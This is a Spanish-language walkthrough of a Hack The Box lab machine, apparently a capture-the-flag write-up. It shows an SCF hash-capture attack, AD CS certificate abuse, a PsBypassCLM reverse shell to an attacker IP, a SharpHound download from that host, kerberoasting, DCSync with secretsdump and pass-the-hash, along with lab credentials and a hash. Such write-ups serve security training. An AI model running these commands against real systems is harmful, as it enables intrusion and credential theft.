En esta maquina enumeraremos permisos de escritura en todos los directorios de SMB de manera automática, explotaremos un SCF attack que nos dará las credenciales de un usuario del dominio pero para conseguir el acceso inicial necesitaremos obtener unos certificados SSL para winRM. Finalmente escalaremos privilegios explotando la ACL GetChangesAll previamente forwardeando el puerto de kerberos.
Enumeración
Comenzamos realizando un escaneo rapido de todos los puertos abiertos:
nmap -p- — open -sT — min-rate 5000 -vvv -n -Pn 10.10.10.103
Enumeración web
Tenemos un IIS estático que no ofrece ninguna informacion ni en su contenido ni en el codigo fuente mas alla que el directorio /images.
Si realizamos la enumeracion de directorios con la lista para IIS (/seclists/Discovery/Web-Content/IIS.fuzz.txt) obtenemos uno interesante.
Si intentamos acceder a el nos pide unas credenciales por lo que volveremos aquí mas tarde
Enumeración SMB
Vemos que hay 3 directorios interesantes que no son por defecto. El unico que puede enumerarse es “Department Shares” ya que el resto o estan vacíos o no tenemos permisos.
Si accedemos a Users obtenemos varios nombres de usuario.
Vamos a hacer una lista y validarlos con kerberute
El unico usuario de dominio es amanda. No hemos conseguido ninguna credencial por fuerza bruta y tampoco hay ningun usuario AS-REPRoasteable por lo que vamos a comprobar si tiene algun permiso de escritura en el SMB.
Para averiguarlo usaremos smbcacls
Buscamos el permiso para Everyone en este caso para la usuario amanda solo es de lectura
En caso de tener bastantes usuarios podemos automatizar este proceso con un bucle for usando como lista de usuarios el propio contenido del directorio Users del SMB. Pero primero debemos montar el SMB en local
Debemos ejecutar el bucle en el directorio /Users de nuestra montura
tput civis; for directory in $(ls); do echo -e "n[+] Enumerando permisos en el directorio $directory:n"; echo -e "t$(smbcacls "//10.10.10.103/Department Shares" Users/$directory -N | grep "Everyone")"; done; tput cnorm
Vemos que tenemos permiso total en el usuario Public.
Explotación
SCF Attack
Ya sabemos que podemos subir archivos al SMB ahora debemos emplear la explotacion adecuada a traves de un archivo que debe ser abierto por algun usuarios del sistema, crearemos un archivo malicioso de tipo scf para que nos devuelva el hash de el usuario que lo abre, de manera parecida al responder.
“SCF stands for Shell Command File and is a file format that supports a very limited set of Windows Explorer commands, such as opening a Windows Explorer window or showing the Desktop. The “Show Desktop” shortcut we all use on a daily basis is an SCF file.”
Creamos el archivo scf malicioso
https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
A continuacion abrimos nuestro recurso compartido por smb y esperamos a que sea abierto el archivo.
Obtenemos el hash de amanda, a continuación vamos a desencriptarlo.
Validamos las credenciales con crackmapexec.
Tambien con winrm para comprobar si esta en el grupo de administracion remoto de windows
En este caso no nos indica que las credenciales no sean correctas si no que nos esta dando un error
Podemos dumpear la informacion del dominio con #ldapdomaindump y asi poder confirmar si nuestro usuario amanda pertenece al grupo de Administracion Remota de Windows.
Confirmamos que pertenece al grupo por lo que intentaremos acceder directamente por winRM
Antes podriamos validar las credenciales contra el resto de servicios para tenerlo en cuenta.
- SMB Shares
- RPC
- Kerberoast
Vemos que el usuario mrlky es kerberoasteable por lo que al enviar la request nos deberia enviar su hash.
Sin embargo no nos devuelve nada debido a que el puerto de kerberos no esta expuesto.
Sabiendo esto solo podemos obtener el TGS de este usuario teniendo acceso inicial de dos maneras:
– Ejecutando un Kerberoast con Rubeus.
– Hacer un remote port forwarding para traernos el puerto 88 y el 389
Acceso inicial
Accedemos por winRM con las credenciales de amanda
evil-winrm -i 10.10.10.103 -u ‘amanda’ -p ‘Ashare1972’
Si leemos el error vemos que esta relacionado con el protocolo de transporte “WinRM::WinRMHTTPTransportError”
Observando el escaneo de nmap vemos dos puertos de winrm uno de ellos para ssl.
Si echamos un vistazo a los parametros de evil-winrm, vemos que tiene uno que permite realizar la conexion por ssl.
Sin embargo para usarlo necesitamos dos claves, la privada la podemos generar nosotros pero la publica necesitamos que no sea dado por el servidor.
Obtención de certificados SSL
Como hemos visto antes en la enumeracion web hay un directorio /certsrv en el que requería credenciales para acceder, vamos a probar a introducir las de amanda.
Vemos que se trata de Microsoft Active Directory Certificate Services un servicio que provee certificados, justo lo que necesitábamos.
Le damos en solicitar certificado.
Elegiremos la solicitud avanzada ya que la otra no nos genera un certificado ya que nos da un error.
Nos pide los datos de nuestra clave privada la cual generaremos ahora.
openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csr
Vemos que nos genera la clave privada y el certificado.
Copiamos el certificado y lo pegaremos en el servicio de certificados y le daremos a submit.
Nos descargamos el certificado
Una vez que tenemos ambos certificados publico y privado vamos a realizar la conexion con evil-winrm mediante ssl usando los parametros -c y -k.
Escalada de privilegios
Vectores:
– winPEAS
– windows-exploit-suggester
– bloodhound
Problemas:
1. No esta permitido el comando systeminfo para sacar el output y analizarlo con windows-exploit-suggester
2. El AV no permite la transferencia de archivos y si lo subimos desde el SMB lo elimina por lo que no podemos usar winPEAS ni extraer la informacion del dominio con Sharphound.ps1
Intentamos bypassearlo con el modulo de evil-winrm Bypass-4MSI pero tampoco funciona.
Bypass ConstrainedLanguage
Ademas de tener un antivirus habilitado la shel esta en modo ConstrainedLanguage lo que significa que tenemos un uso restringido de la misma por lo que necesitamos el FullLanguage Mode. Esto lo necesitamos tanto para poder pasar a la maquina SharpHound, ejecutarlo y exfiltrar los datos.
Tenemos dos opciones para solucionar este problema.
- Bypassear el ConstrainedLanguage
- Usar bloodhound-python desde fuera.
La primera manera de conseguir descargar Sharphound a la maquina es con el comando:
IWR -Uri http://10.10.14.13/SharpHound.ps1 -OutFile SharpHound.ps1
Sin embargo luego no hay manera de enviar el ZIP de vuelta a nuestro Kali
La opcion que nos queda es repetir el proceso con la herramienta PsBypassCLM la cual nos dara directamente el FullLaguage Mode.
Clonamos el repositorio y pasamos el binario a la maquina victima.
Ejecutamos el comando que nos indica en la guia de github modificando la ip y puerto desde la maquina victima y nos ponemos a la escucha en el puerto 443.
C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.14.13 /rport=443 /U C:WindowsTempReconPsBypassCLM.exe
Obtendremos una shell con FullLaguage Mode, podemos comprobarlo con:
$ExecutionContext.SessionState.LanguageMode
Ya podriamos subir y enviar de vuelta los archivos que queramos.
La segunda manera de dumpear la informacion del dominio seria ejecutando bloodhound-python desde fuera con las credenciales de amanda.
bloodhound-python -c All -u ‘amanda’ -p ‘Ashare1972’ -ns 10.10.10.103 -d htb.local
Subimos los archivos a bloodhound y analizamos las relaciones.
Enumeramos vectores DCsync
Como hemos dicho en la explotacion hay dos maneras de hacerle kerberoasting al usuario :
– Ejecutar el binario de Rubeus
– Hacer un remote port forwarding para traernos el puerto 88 y el 389
Kerberoasting con Rubeus
Enviamos el binario de Rubeus al equipo victima.
.Rubeus.exe kerberoast /creduser:htb.localamanda /credpassword:Ashare1972
Obtenemos el TGS de mrlky con el cual podriamos obtener su contraseña y realizar el DCSync.
Kerberos Port Forward
Necesitamos el puerto 88 abierto para que nos funcione el kerberoasting con GetUsersSPNS.py para ello nos lo traeremos con un Port Forwarding mediante chisel.
Abrimos el servidor en nnuestro kali
Desde la maquina victima traemos el puerto 88 a nuestro kali ademas del 389 que es LDAP para que no nos de problemas.
.chisel.exe client 10.10.14.13:1234 R:88:127.0.0.1:88 R:389:127.0.0.1:389
Una vez montados los puertos en nuestro Kali realizaremos el kerberoasting con GetUserSPN.py apuntando a nuestro localhost.
GetUserSPNs.py htb.local/amanda:Ashare1972 -request -dc-ip 127.0.0.1
Lo crackeamos con john para obtener la contraseña
Ya tenemos las credenciales del usuario el cual permitiría el DCsync vamos a explotarlo.
Simplemente habria que dumpear los hashes de los usuarios del dominio, esto podemos hacerlo con mimikatz si nos conectaramos de la misma manera con evil-wirm, pero tambien podemos hacerlo desde fuera con secretsdump.
secretsdump.py htb.local/mrlky:Football#7@10.10.10.103
Hemos obtenido el hash del administrador por lo que ya podriamos hacer un pass the hash
Si lo hacemos con winrm aun usando los certificados seguiremos como el usuario amanda, lo haremos con la herramienta wmiexec.py
wmiexec.py htb.local/Administrator@10.10.10.103 -hashes :f6b7160bfc91823792e0ac3a162c9267